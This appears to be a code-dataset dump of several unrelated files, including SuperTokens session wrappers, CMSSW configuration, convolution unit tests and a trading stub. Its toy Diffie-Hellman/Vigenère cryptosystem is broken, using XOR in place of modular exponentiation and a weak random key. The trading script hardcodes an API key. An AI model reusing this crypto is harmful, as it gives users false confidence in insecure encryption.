async_get_session return sync(async_get_session(request, anti_csrf_check, session_required, user_context)) def refresh_session(request: Any, user_context: Union[None, Dict[str, Any]] = None) -> SessionContainer: from supertokens_python.recipe.session.asyncio import \ refresh_session as async_refresh_session return sync(async_refresh_session(request, user_context)) def revoke_session(session_handle: str, user_context: Union[None, Dict[str, Any]] = None) -> bool: from supertokens_python.recipe.session.asyncio import \ revoke_session as async_revoke_session return sync(async_revoke_session(session_handle, user_context)) def revoke_all_sessions_for_user(user_id: str, user_context: Union[None, Dict[str, Any]] = None) -> List[str]: from supertokens_python.recipe.session.asyncio import \ revoke_all_sessions_for_user as async_revoke_all_sessions_for_user return sync(async_revoke_all_sessions_for_user(user_id, user_context)) def get_all_session_handles_for_user(user_id: str, user_context: Union[None, Dict[str, Any]] = None) -> List[str]: from supertokens_python.recipe.session.asyncio import \ get_all_session_handles_for_user as \ async_get_all_session_handles_for_user return sync(async_get_all_session_handles_for_user(user_id, user_context)) def revoke_multiple_sessions(session_handles: List[str], user_context: Union[None, Dict[str, Any]] = None) -> List[str]: from supertokens_python.recipe.session.asyncio import \ revoke_multiple_sessions as async_revoke_multiple_sessions return sync(async_revoke_multiple_sessions(session_handles, user_context)) def get_session_information(session_handle: str, user_context: Union[None, Dict[str, Any]] = None) -> SessionInformationResult: from supertokens_python.recipe.session.asyncio import \ get_session_information as async_get_session_information return sync(async_get_session_information(session_handle, user_context)) def update_session_data(session_handle: str, new_session_data: Dict[str, Any], user_context: Union[None, Dict[str, Any]] = None) -> None: from supertokens_python.recipe.session.asyncio import \ update_session_data as async_update_session_data return sync(async_update_session_data( session_handle, new_session_data, user_context)) def update_access_token_payload(session_handle: str, new_access_token_payload: Dict[str, Any], user_context: Union[None, Dict[str, Any]] = None) -> None: from supertokens_python.recipe.session.asyncio import \ update_access_token_payload as async_update_access_token_payload return sync(async_update_access_token_payload( session_handle, new_access_token_payload, user_context)) def create_jwt(payload: Dict[str, Any], validity_seconds: Union[None, int] = None, user_context: Union[None, Dict[str, Any]] = None) -> CreateJwtResult: from supertokens_python.recipe.session.asyncio import \ create_jwt as async_create_jwt return sync(async_create_jwt(payload, validity_seconds, user_context)) def get_jwks(user_context: Union[None, Dict[str, Any]] = None) -> GetJWKSResult: from supertokens_python.recipe.session.asyncio import \ get_jwks as async_get_jwks return sync(async_get_jwks(user_context)) def get_open_id_discovery_configuration(user_context: Union[None, Dict[str, Any]] = None) -> GetOpenIdDiscoveryConfigurationResult: from supertokens_python.recipe.session.asyncio import \ get_open_id_discovery_configuration as \ async_get_open_id_discovery_configuration return sync(async_get_open_id_discovery_configuration(user_context)) def regenerate_access_token(access_token: str, new_access_token_payload: Union[Dict[str, Any], None] = None, user_context: Union[None, Dict[str, Any]] = None): from supertokens_python.recipe.session.asyncio import \ regenerate_access_token as async_regenerate_access_token return sync(async_regenerate_access_token( access_token, new_access_token_payload, user_context))
51.27193
229
0.78272
803
5,845
5.389788
0.160648
0.071165
0.046211
0.054991
0.573013
0.449168
0.394409
0.351664
0.25439
0.204945
0
0.001587
0.137553
5,845
113
230
51.725664
0.856973
0.112062
0
0.202899
0
0
0
0
0
0
0
0
0
1
0.202899
false
0
0.275362
0
0.681159
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
40afa7d9bfe96b52a30cc2644f2ba9fde48ed84a
556
py
Python
tests/data/example_2.py
kataev/flake8-rst
53ee9906661b001a6aecc06ce09cf093ce6e82df
[ "MIT" ]
18
2018-08-27T11:39:14.000Z
2021-12-10T08:48:29.000Z
tests/data/example_2.py
kataev/flake8-rst
53ee9906661b001a6aecc06ce09cf093ce6e82df
[ "MIT" ]
18
2018-10-26T12:32:16.000Z
2021-11-17T06:01:34.000Z
tests/data/example_2.py
kataev/flake8-rst
53ee9906661b001a6aecc06ce09cf093ce6e82df
[ "MIT" ]
7
2018-10-19T10:28:05.000Z
2021-04-09T15:44:16.000Z
class Test: """ Lorem ipsum dolor sit amet, consectetur adipiscing elit, deserunt mollit anim id est laborum. .. sourcecode:: pycon >>> # extract 100 LDA topics, using default parameters >>> lda = LdaModel(corpus=mm, id2word=id2word, num_topics=100, distributed=True) using distributed version with 4 workers running online LDA training, 100 topics, 1 passes over the supplied corpus of 3199665 documets, updating model once every 40000 documents .. Some another text """ some_field = 1
27.8
99
0.679856
69
556
5.449275
0.826087
0
0
0
0
0
0
0
0
0
0
0.0625
0.251799
556
19
100
29.263158
0.841346
0.839928
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
40b10e4dc364eb531205474a641f94da599e263a
1,373
py
Python
src/Node.py
LiamDuncan/DH-V_Cryptosystem
cb661f1aec92de420d3fc555dd38d2dd2034bc3a
[ "MIT" ]
null
null
null
src/Node.py
LiamDuncan/DH-V_Cryptosystem
cb661f1aec92de420d3fc555dd38d2dd2034bc3a
[ "MIT" ]
null
null
null
src/Node.py
LiamDuncan/DH-V_Cryptosystem
cb661f1aec92de420d3fc555dd38d2dd2034bc3a
[ "MIT" ]
null
null
null
import random import nodeIO class Node: def __init__( self, g, p): self.g = g self.p = p self.privateKey = random.randrange(100) self.publicKey = (g^self.privateKey)%p def getEncryptedMessage( self): #message = input( "Type a message... \nSender: ") message = input( "Type a message... \n") em = self.encrypt( message) return em def setEncryptedMessage( self, em): message = self.decrypt(em) #print("Receiver: " + message) nodeIO.window( message) def getPublic( self): return self.publicKey def setPartner( self, pk): self.key = (pk^self.privateKey)%self.p def encrypt( self, message): encryptedMessage = "" for character in message: encryptedChar = chr(self.vigenere(ord(character))) encryptedMessage += encryptedChar return encryptedMessage def decrypt( self, encryptedMessage): message = "" for character in encryptedMessage: char = chr(self.unvigenere(ord(character))) message += char return message def vigenere( self, charNumber): return (charNumber + self.key)%127 def unvigenere( self, charNumber): return (charNumber - self.key)%127
28.020408
63
0.567371
136
1,373
5.698529
0.330882
0.054194
0.04129
0.043871
0.165161
0.103226
0.103226
0
0
0
0
0.009825
0.332848
1,373
48
64
28.604167
0.836245
0.056082
0
0
0
0
0.016051
0
0
0
0
0
0
1
0.257143
false
0
0.057143
0.085714
0.514286
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
40b41d38c7767deb1cf702eb7c84fc4cd1f71a00
5,051
py
Python
RecoParticleFlow/Configuration/python/RecoParticleFlow_EventContent_cff.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
4
2020-06-27T23:27:21.000Z
2020-11-19T09:17:01.000Z
RecoParticleFlow/Configuration/python/RecoParticleFlow_EventContent_cff.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
524
2018-01-29T15:50:45.000Z
2021-08-04T14:03:21.000Z
RecoParticleFlow/Configuration/python/RecoParticleFlow_EventContent_cff.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
7
2018-02-19T11:17:13.000Z
2020-10-12T21:57:00.000Z
import FWCore.ParameterSet.Config as cms # AOD content RecoParticleFlowAOD = cms.PSet( outputCommands = cms.untracked.vstring( 'keep recoPFRecHits_particleFlowClusterECAL_Cleaned_*', 'keep recoPFRecHits_particleFlowClusterHCAL_Cleaned_*', 'keep recoPFRecHits_particleFlowClusterHO_Cleaned_*', 'keep recoPFRecHits_particleFlowClusterHF_Cleaned_*', 'keep recoPFRecHits_particleFlowClusterPS_Cleaned_*', 'keep recoPFRecHits_particleFlowRecHitECAL_Cleaned_*', 'keep recoPFRecHits_particleFlowRecHitHBHE_Cleaned_*', 'keep recoPFRecHits_particleFlowRecHitHF_Cleaned_*', 'keep recoPFRecHits_particleFlowRecHitHO_Cleaned_*', 'keep recoPFRecHits_particleFlowRecHitPS_Cleaned_*', 'keep recoCaloClusters_particleFlowEGamma_*_*', 'keep recoSuperClusters_particleFlowEGamma_*_*', 'keep recoCaloClusters_particleFlowSuperClusterECAL_*_*', 'keep recoSuperClusters_particleFlowSuperClusterECAL_*_*', 'keep recoConversions_particleFlowEGamma_*_*', 'keep recoPFCandidates_particleFlow_*_*', 'keep recoPFCandidates_particleFlowTmp_AddedMuonsAndHadrons_*', 'keep recoPFCandidates_particleFlowTmp_CleanedCosmicsMuons_*', 'keep recoPFCandidates_particleFlowTmp_CleanedFakeMuons_*', 'keep recoPFCandidates_particleFlowTmp_CleanedHF_*', 'keep recoPFCandidates_particleFlowTmp_CleanedPunchThroughMuons_*', 'keep recoPFCandidates_particleFlowTmp_CleanedPunchThroughNeutralHadrons_*', 'keep recoPFCandidates_particleFlowTmp_CleanedTrackerAndGlobalMuons_*', 'keep *_particleFlow_electrons_*', 'keep *_particleFlow_photons_*', 'keep *_particleFlow_muons_*', 'keep recoCaloClusters_pfElectronTranslator_*_*', 'keep recoPreshowerClusters_pfElectronTranslator_*_*', 'keep recoSuperClusters_pfElectronTranslator_*_*', 'keep recoCaloClusters_pfPhotonTranslator_*_*', 'keep recoPreshowerClusters_pfPhotonTranslator_*_*', 'keep recoSuperClusters_pfPhotonTranslator_*_*', 'keep recoPhotons_pfPhotonTranslator_*_*', 'keep recoPhotonCores_pfPhotonTranslator_*_*', 'keep recoConversions_pfPhotonTranslator_*_*', 'keep *_particleFlowPtrs_*_*', 'keep *_particleFlowTmpPtrs_*_*', 'keep *_chargedHadronPFTrackIsolation_*_*') ) # mods for HGCAL and timing # Some SC content also defined in RecoEcal/Configuration/python/RecoEcal_EventContent_cff.py from Configuration.Eras.Modifier_phase2_hgcal_cff import phase2_hgcal from Configuration.Eras.Modifier_phase2_timing_cff import phase2_timing phase2_hgcal.toModify( RecoParticleFlowAOD, outputCommands = RecoParticleFlowAOD.outputCommands + ['keep recoPFRecHits_particleFlowRecHitHGC_Cleaned_*', 'keep recoPFClusters_particleFlowClusterHGCal__*', 'keep recoPFClusters_particleFlowClusterHGCalFromMultiCl__*', 'keep recoSuperClusters_simPFProducer_*_*']) phase2_timing.toModify( RecoParticleFlowAOD, outputCommands = RecoParticleFlowAOD.outputCommands + ['keep *_ecalBarrelClusterFastTimer_*_*']) # RECO content RecoParticleFlowRECO = cms.PSet( outputCommands = cms.untracked.vstring( 'keep recoPFClusters_particleFlowClusterECAL_*_*', 'keep recoPFClusters_particleFlowClusterHCAL_*_*', 'keep recoPFClusters_particleFlowClusterHO_*_*', 'keep recoPFClusters_particleFlowClusterHF_*_*', 'keep recoPFClusters_particleFlowClusterPS_*_*', 'keep recoPFBlocks_particleFlowBlock_*_*', 'keep recoPFCandidates_particleFlowEGamma_*_*', 'keep recoPFCandidates_particleFlowTmp_electrons_*', 'keep recoPFDisplacedVertexs_particleFlowDisplacedVertex_*_*', 'keep *_pfElectronTranslator_*_*', 'keep *_pfPhotonTranslator_*_*', 'keep *_trackerDrivenElectronSeeds_preid_*') ) RecoParticleFlowRECO.outputCommands.extend(RecoParticleFlowAOD.outputCommands) phase2_hgcal.toModify( RecoParticleFlowRECO, outputCommands = RecoParticleFlowRECO.outputCommands + ['keep *_particleFlowSuperClusterHGCalFromMultiCl_*_*', 'keep recoPFBlocks_simPFProducer_*_*']) # Full Event content RecoParticleFlowFEVT = cms.PSet( outputCommands = cms.untracked.vstring() ) RecoParticleFlowFEVT.outputCommands.extend(RecoParticleFlowRECO.outputCommands) phase2_hgcal.toModify( RecoParticleFlowFEVT, outputCommands = RecoParticleFlowFEVT.outputCommands + ['keep recoPFRecHits_particleFlowClusterECAL__*', 'keep recoPFRecHits_particleFlowRecHitHGC__*', 'keep *_simPFProducer_*_*']) from Configuration.ProcessModifiers.mlpf_cff import mlpf from RecoParticleFlow.PFProducer.mlpf_EventContent_cff import MLPF_RECO mlpf.toModify(RecoParticleFlowRECO, outputCommands = RecoParticleFlowRECO.outputCommands + MLPF_RECO.outputCommands)
52.614583
120
0.749555
326
5,051
11.003067
0.294479
0.061611
0.060217
0.020072
0.141065
0.079175
0.024533
0
0
0
0
0.001921
0.175411
5,051
95
121
53.168421
0.859304
0.031677
0
0.02439
0
0
0.563562
0.49826
0
0
0
0
0
1
0
false
0
0.060976
0
0.060976
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
40b701f7a453c3fce622b02325be5d22ae420923
763
py
Python
algo.py
shayanng/Trading_Algorithm_Strategy
247a28817a85f341ad341e6ee2a9d4b065c746e8
[ "MIT" ]
null
null
null
algo.py
shayanng/Trading_Algorithm_Strategy
247a28817a85f341ad341e6ee2a9d4b065c746e8
[ "MIT" ]
null
null
null
algo.py
shayanng/Trading_Algorithm_Strategy
247a28817a85f341ad341e6ee2a9d4b065c746e8
[ "MIT" ]
null
null
null
import pandas as pd from alpha_vantage.timeseries import TimeSeries from utils import data_call as dc from utils import tech_indicators as ti from utils import preprocessing from utils import trading TICKERS = ["IBM", "AAPL", "TSLA", "NVDA"] AV_KEY = "3R9JOE98DJOXYHKJ" # alpha-vantage demo api ts = TimeSeries(key=AV_KEY, output_format="pandas") # initialise timeseries av # Yahoo API # generated_data_daily = dc.generate_data(TICKERS, interval="d", n_per=90) # AlphaVantage API # generated_data = dc.generate_data_intraday(tickers=TICKERS, interval="5min", outputsize="full", # ts=ts) # dictionary of collected data # for k in generated_data.keys(): # generated_data[k].to_csv(f"./data/data_{k}.csv") # save as csv
30.52
97
0.72346
108
763
4.953704
0.518519
0.06729
0.11215
0
0
0
0
0
0
0
0
0.011076
0.171691
763
24
98
31.791667
0.835443
0.538663
0
0
0
0
0.110119
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
40c5371752d46922fda61fe4b20a96100ef00f47
19,133
py
Python
tests.py
detkov/Convolution-from-scratch
9fb976f72d80a8512b3fd1e35d61bf0ea8869113
[ "MIT" ]
10
2021-07-17T07:25:43.000Z
2022-03-08T12:18:57.000Z
tests.py
detkov/Convolution-from-scratch
9fb976f72d80a8512b3fd1e35d61bf0ea8869113
[ "MIT" ]
null
null
null
tests.py
detkov/Convolution-from-scratch
9fb976f72d80a8512b3fd1e35d61bf0ea8869113
[ "MIT" ]
1
2021-11-26T09:38:06.000Z
2021-11-26T09:38:06.000Z
import numpy as np import unittest from convolution import conv2d, add_padding class TestConvolution(unittest.TestCase): def test_paddings_shape(self, N: int = 1000): for _ in range(N): m_h = np.random.randint(3, 100) m_w = np.random.randint(3, 100) random_matrix = np.random.rand(m_h, m_w) rows, cols = np.random.randint(0, 100, 2) random_matrix_with_padding = add_padding(random_matrix, (rows, cols)) self.assertEqual(random_matrix_with_padding.shape, (m_h + rows*2, m_w + cols*2)) def test_random_case(self, N: int = 1000): for _ in range(N): d = np.random.randint(1, 100, 2) k = np.random.choice([1, 3, 5, 7, 9, 10], 2) # `10` is to check oddness assertion random_matrix = np.random.rand(*d) random_kernel = np.random.rand(*k) for __ in range(N): stride = np.random.randint(0, 5, 2) # `0` is to check parameters assertion dilation = np.random.randint(0, 5, 2) # `0` is to check parameters assertion padding = np.random.randint(-1, 5, 2) # `-1` is to check parameters assertion try: # `try` in case of division by zero when stride[0] or stride[1] equal to zero h_out = np.floor((d[0] + 2 * padding[0] - k[0] - (k[0] - 1) * (dilation[0] - 1)) / stride[0]).astype(int) + 1 w_out = np.floor((d[1] + 2 * padding[1] - k[1] - (k[1] - 1) * (dilation[1] - 1)) / stride[1]).astype(int) + 1 except: h_out, w_out = None, None # print(f'Matr: {d} | Kern: {k} | Stri: {stride} | Dila: {dilation} | Padd: {padding} | OutD: {h_out, w_out}') # for debugging if (stride[0] < 1 or stride[1] < 1 or dilation[0] < 1 or dilation[1] < 1 or padding[0] < 0 or padding[1] < 0 or not isinstance(stride[0], int) or not isinstance(stride[1], int) or not isinstance(dilation[0], int) or not isinstance(dilation[1], int) or not isinstance(padding[0], int) or not isinstance(padding[1], int)): with self.assertRaises(AssertionError): matrix_conved = conv2d(random_matrix, random_kernel, stride=stride, dilation=dilation, padding=padding) elif k[0] % 2 != 1 or k[1] % 2 != 1: with self.assertRaises(AssertionError): matrix_conved = conv2d(random_matrix, random_kernel, stride=stride, dilation=dilation, padding=padding) elif d[0] < k[0] or d[1] < k[1]: with self.assertRaises(AssertionError): matrix_conved = conv2d(random_matrix, random_kernel, stride=stride, dilation=dilation, padding=padding) elif h_out <= 0 or w_out <= 0: with self.assertRaises(AssertionError): matrix_conved = conv2d(random_matrix, random_kernel, stride=stride, dilation=dilation, padding=padding) else: matrix_conved = conv2d(random_matrix, random_kernel, stride=stride, dilation=dilation, padding=padding) self.assertEqual(matrix_conved.shape, (h_out, w_out)) def test_kernel_3x3_easy(self): matrix = np.array([[0, 4, 3, 2, 0, 1, 0], [4, 3, 0, 1, 0, 1, 0], [1, 3, 4, 2, 0, 1, 0], [3, 4, 2, 2, 0, 1, 0], [0, 0, 0, 0, 0, 1, 0]]) kernel = np.array([[1, 1, 3], [0, 2, 3], [3, 3, 3]]) # stride = 1, dilation = 1, padding = 0 result_110 = conv2d(matrix, kernel) answer_110 = np.array([[43, 43, 25, 17, 6], [52, 44, 17, 16, 6], [30, 23, 10, 11, 6]]) # stride = 1, dilation = 1, padding = 1 result_111 = conv2d(matrix, kernel, padding=(1, 1)) answer_111 = np.array([[33, 38, 24, 7, 9, 5, 3], [41, 43, 43, 25, 17, 6, 4], [45, 52, 44, 17, 16, 6, 4], [28, 30, 23, 10, 11, 6, 4], [15, 13, 12, 4, 8, 3, 1]]) # stride = 1, dilation = 2, padding = 0 result_120 = conv2d(matrix, kernel, dilation=(2, 2)) answer_120 = np.array([[11, 19, 3]]) # stride = 1, dilation = 2, padding = 1 result_121 = conv2d(matrix, kernel, dilation=(2, 2), padding=(1, 1)) answer_121 = np.array([[27, 15, 26, 6, 11], [22, 11, 19, 3, 8], [20, 8, 14, 0, 4]]) # stride = 2, dilation = 1, padding = 0 result_210 = conv2d(matrix, kernel, stride=(2, 2)) answer_210 = np.array([[43, 25, 6], [30, 10, 6]]) # stride = 2, dilation = 1, padding = 1 result_211 = conv2d(matrix, kernel, stride=(2, 2), padding=(1, 1)) answer_211 = np.array([[33, 24, 9, 3], [45, 44, 16, 4], [15, 12, 8, 1]]) # stride = 2, dilation = 2, padding = 0 result_220 = conv2d(matrix, kernel, stride=(2, 2), dilation=(2, 2)) answer_220 = np.array([[11, 3]]) # stride = 2, dilation = 2, padding = 1 result_221 = conv2d(matrix, kernel, stride=(2, 2), dilation=(2, 2), padding=(1, 1)) answer_221 = np.array([[27, 26, 11], [20, 14, 4]]) self.assertEqual(result_110.tolist(), answer_110.tolist()) self.assertEqual(result_111.tolist(), answer_111.tolist()) self.assertEqual(result_120.tolist(), answer_120.tolist()) self.assertEqual(result_121.tolist(), answer_121.tolist()) self.assertEqual(result_210.tolist(), answer_210.tolist()) self.assertEqual(result_211.tolist(), answer_211.tolist()) self.assertEqual(result_220.tolist(), answer_220.tolist()) self.assertEqual(result_221.tolist(), answer_221.tolist()) def test_kernel_5x5_difficult(self): matrix = np.array([[1, 4, 4, 2, 1, 0, 0, 1, 0, 0, 3, 3, 3, 4], [0, 2, 0, 2, 0, 3, 4, 4, 2, 1, 1, 3, 0, 4], [1, 1, 0, 0, 3, 4, 2, 4, 4, 2, 3, 0, 0, 4], [4, 0, 1, 2, 0, 2, 0, 3, 3, 3, 0, 4, 1, 0], [3, 0, 0, 3, 3, 3, 2, 0, 2, 1, 1, 0, 4, 2], [2, 4, 3, 1, 1, 0, 2, 1, 3, 4, 4, 0, 2, 3], [2, 4, 3, 3, 2, 1, 4, 0, 3, 4, 1, 2, 0, 0], [2, 1, 0, 1, 1, 2, 2, 3, 0, 0, 1, 2, 4, 2], [3, 3, 1, 1, 1, 1, 4, 4, 2, 3, 2, 2, 2, 3]]) kernel = np.array([[2, 0, 2, 2, 2], [2, 3, 1, 1, 3], [3, 1, 1, 3, 1], [2, 2, 3, 1, 1], [0, 0, 1, 0, 0]]) # default params result_11_11_00 = conv2d(matrix, kernel) answer_11_11_00 = np.array([[44., 58., 59., 62., 70., 80., 75., 92., 64., 72.], [52., 52., 59., 87., 92., 83., 77., 74., 71., 67.], [66., 63., 60., 64., 76., 79., 75., 82., 77., 64.], [75., 69., 64., 64., 69., 75., 70., 71., 75., 74.], [74., 71., 63., 66., 61., 75., 79., 47., 73., 76.]]) # only stride: (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (4, 6) result_12_11_00 = conv2d(matrix, kernel, stride=(1, 2)) answer_12_11_00 = np.array([[44., 59., 70., 75., 64.], [52., 59., 92., 77., 71.], [66., 60., 76., 75., 77.], [75., 64., 69., 70., 75.], [74., 63., 61., 79., 73.]]) result_13_11_00 = conv2d(matrix, kernel, stride=(1, 3)) answer_13_11_00 = np.array([[44., 62., 75., 72.], [52., 87., 77., 67.], [66., 64., 75., 64.], [75., 64., 70., 74.], [74., 66., 79., 76.]]) result_21_11_00 = conv2d(matrix, kernel, stride=(2, 1)) answer_21_11_00 = np.array([[44., 58., 59., 62., 70., 80., 75., 92., 64., 72.], [66., 63., 60., 64., 76., 79., 75., 82., 77., 64.], [74., 71., 63., 66., 61., 75., 79., 47., 73., 76.]]) result_22_11_00 = conv2d(matrix, kernel, stride=(2, 2)) answer_22_11_00 = np.array([[44., 59., 70., 75., 64], [66., 60., 76., 75., 77], [74., 63., 61., 79., 73]]) result_23_11_00 = conv2d(matrix, kernel, stride=(2, 3)) answer_23_11_00 = np.array([[44., 62., 75., 72.], [66., 64., 75., 64.], [74., 66., 79., 76.]]) result_31_11_00 = conv2d(matrix, kernel, stride=(3, 1)) answer_31_11_00 = np.array([[44., 58., 59., 62., 70., 80., 75., 92., 64., 72.], [75., 69., 64., 64., 69., 75., 70., 71., 75., 74.]]) result_32_11_00 = conv2d(matrix, kernel, stride=(3, 2)) answer_32_11_00 = np.array([[44., 59., 70., 75., 64.], [75., 64., 69., 70., 75.]]) result_46_11_00 = conv2d(matrix, kernel, stride=(4, 6)) answer_46_11_00 = np.array([[44., 75.], [74., 79.]]) # only dilation: (1, 2), (1, 3), (2, 1), (2, 2), (2, 3) result_11_12_00 = conv2d(matrix, kernel, dilation=(1, 2)) answer_11_12_00 = np.array([[46., 70., 50., 77., 65., 94.], [67., 68., 67., 76., 53., 95.], [80., 65., 60., 64., 70., 73.], [74., 74., 77., 73., 79., 55.], [81., 66., 74., 60., 70., 58.]]) result_11_13_00 = conv2d(matrix, kernel, dilation=(1, 3)) answer_11_13_00 = np.array([[48., 77.], [65., 65.], [73., 55.], [97., 67.], [84., 68.]]) result_11_21_00 = conv2d(matrix, kernel, dilation=(2, 1)) answer_11_21_00 = np.array([[78., 73., 64., 72., 81., 69., 73., 69., 68., 81.]]) result_11_22_00 = conv2d(matrix, kernel, dilation=(2, 2)) answer_11_22_00 = np.array([[67., 55., 80., 63., 77., 79.]]) result_11_23_00 = conv2d(matrix, kernel, dilation=(2, 3)) answer_11_23_00 = np.array([[65., 79.]]) # only paddings: (0, 1), (1, 0), (1, 1) result_11_11_01 = conv2d(matrix, kernel, padding=(0, 1)) answer_11_11_01 = np.array([[41., 44., 58., 59., 62., 70., 80., 75., 92., 64., 72., 71.], [34., 52., 52., 59., 87., 92., 83., 77., 74., 71., 67., 43.], [51., 66., 63., 60., 64., 76., 79., 75., 82., 77., 64., 57.], [63., 75., 69., 64., 64., 69., 75., 70., 71., 75., 74., 43.], [51., 74., 71., 63., 66., 61., 75., 79., 47., 73., 76., 54.]]) result_11_11_10 = conv2d(matrix, kernel, padding=(1, 0)) answer_11_11_10 = np.array([[39., 45., 45., 61., 52., 58., 66., 63., 53., 56.], [44., 58., 59., 62., 70., 80., 75., 92., 64., 72.], [52., 52., 59., 87., 92., 83., 77., 74., 71., 67.], [66., 63., 60., 64., 76., 79., 75., 82., 77., 64.], [75., 69., 64., 64., 69., 75., 70., 71., 75., 74.], [74., 71., 63., 66., 61., 75., 79., 47., 73., 76.], [70., 59., 64., 55., 72., 83., 81., 77., 70., 69.]]) result_11_11_11 = conv2d(matrix, kernel, padding=(1, 1)) answer_11_11_11 = np.array([[26., 39., 45., 45., 61., 52., 58., 66., 63., 53., 56., 51.], [41., 44., 58., 59., 62., 70., 80., 75., 92., 64., 72., 71.], [34., 52., 52., 59., 87., 92., 83., 77., 74., 71., 67., 43.], [51., 66., 63., 60., 64., 76., 79., 75., 82., 77., 64., 57.], [63., 75., 69., 64., 64., 69., 75., 70., 71., 75., 74., 43.], [51., 74., 71., 63., 66., 61., 75., 79., 47., 73., 76., 54.], [59., 70., 59., 64., 55., 72., 83., 81., 77., 70., 69., 58.]]) # different sets of parameters result_21_13_00 = conv2d(matrix, kernel, stride=(2, 1), dilation=(1, 3), padding=(0, 0)) answer_21_13_00 = np.array([[48., 77.], [73., 55.], [84., 68.]]) result_23_13_13 = conv2d(matrix, kernel, stride=(2, 3), dilation=(1, 3), padding=(1, 3)) answer_23_13_13 = np.array([[28., 36., 31.], [53., 65., 47.], [62., 97., 70.], [64., 79., 74.]]) result_32_23_22 = conv2d(matrix, kernel, stride=(3, 2), dilation=(2, 3), padding=(2, 2)) answer_32_23_22 = np.array([[54., 55., 34.], [34., 69., 43.]]) # default params self.assertEqual(result_11_11_00.tolist(), answer_11_11_00.tolist()) # only stride: (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (4, 6) self.assertEqual(result_12_11_00.tolist(), answer_12_11_00.tolist()) self.assertEqual(result_13_11_00.tolist(), answer_13_11_00.tolist()) self.assertEqual(result_21_11_00.tolist(), answer_21_11_00.tolist()) self.assertEqual(result_22_11_00.tolist(), answer_22_11_00.tolist()) self.assertEqual(result_23_11_00.tolist(), answer_23_11_00.tolist()) self.assertEqual(result_31_11_00.tolist(), answer_31_11_00.tolist()) self.assertEqual(result_32_11_00.tolist(), answer_32_11_00.tolist()) self.assertEqual(result_46_11_00.tolist(), answer_46_11_00.tolist()) # only dilation: (1, 2), (1, 3), (2, 1), (2, 2), (2, 3) self.assertEqual(result_11_12_00.tolist(), answer_11_12_00.tolist()) self.assertEqual(result_11_13_00.tolist(), answer_11_13_00.tolist()) self.assertEqual(result_11_21_00.tolist(), answer_11_21_00.tolist()) self.assertEqual(result_11_22_00.tolist(), answer_11_22_00.tolist()) self.assertEqual(result_11_23_00.tolist(), answer_11_23_00.tolist()) # only paddings: (0, 1), (1, 0), (1, 1) self.assertEqual(result_11_11_01.tolist(), answer_11_11_01.tolist()) self.assertEqual(result_11_11_10.tolist(), answer_11_11_10.tolist()) self.assertEqual(result_11_11_11.tolist(), answer_11_11_11.tolist()) # different sets of parameters self.assertEqual(result_21_13_00.tolist(), answer_21_13_00.tolist()) self.assertEqual(result_23_13_13.tolist(), answer_23_13_13.tolist()) self.assertEqual(result_32_23_22.tolist(), answer_32_23_22.tolist()) def test_kernel_5x3_difficult(self): matrix = np.array([[0, 4, 3, 2, 0, 1, 0], [4, 3, 0, 1, 0, 1, 0], [1, 3, 4, 2, 0, 1, 0], [3, 4, 2, 2, 0, 1, 0], [0, 0, 0, 0, 0, 1, 0]]) kernel = np.array([[1, 1, 3], [0, 2, 3], [3, 3, 3], [0, 2, 1], [3, 3, 0]]) # default params result_11_11_00 = conv2d(matrix, kernel, stride=(1, 1), dilation=(1, 1), padding=(0, 0)) answer_11_11_00 = np.array([[53., 49., 29., 18., 11.]]) # different sets of parameters result_21_13_00 = conv2d(matrix, kernel, stride=(2, 1), dilation=(1, 3), padding=(0, 0)) answer_21_13_00 = np.array([[17.]]) result_23_13_13 = conv2d(matrix, kernel, stride=(2, 3), dilation=(1, 3), padding=(1, 3)) answer_23_13_13 = np.array([[34., 38., 9.], [30., 24., 7.]]) result_32_23_42 = conv2d(matrix, kernel, stride=(3, 2), dilation=(2, 3), padding=(4, 2)) answer_32_23_42 = np.array([[18., 10., 17.], [18., 17., 11.]]) result_21_12_04 = conv2d(matrix, kernel, stride=(2, 1), dilation=(1, 2), padding=(0, 4)) answer_21_12_04 = np.array([[18., 34., 40., 44., 22., 37., 15., 19., 0., 7., 0.]]) result_22_12_04 = conv2d(matrix, kernel, stride=(2, 2), dilation=(1, 2), padding=(0, 4)) answer_22_12_04 = np.array([[18., 40., 22., 15., 0., 0.]]) result_23_13_25 = conv2d(matrix, kernel, stride=(2, 3), dilation=(1, 3), padding=(2, 5)) answer_23_13_25 = np.array([[15., 27., 21., 0.], [34., 27., 13., 0.], [21., 11., 3., 0.]]) result_11_11_33 = conv2d(matrix, kernel, stride=(1, 1), dilation=(1, 1), padding=(3, 3)) answer_11_11_33 = np.array([[ 0., 0., 16., 32., 17., 7., 4., 5., 3., 0., 0.], [ 0., 4., 26., 39., 49., 35., 16., 8., 6., 0., 0.], [ 0., 13., 47., 69., 52., 23., 16., 10., 6., 0., 0.], [ 0., 18., 51., 53., 49., 29., 18., 11., 7., 0., 0.], [ 0., 24., 45., 52., 44., 17., 17., 8., 4., 0., 0.], [ 0., 12., 28., 30., 23., 10., 11., 6., 4., 0., 0.], [ 0., 9., 15., 13., 12., 4., 8., 3., 1., 0., 0.]]) # default params self.assertEqual(result_11_11_00.tolist(), answer_11_11_00.tolist()) # different sets of parameters 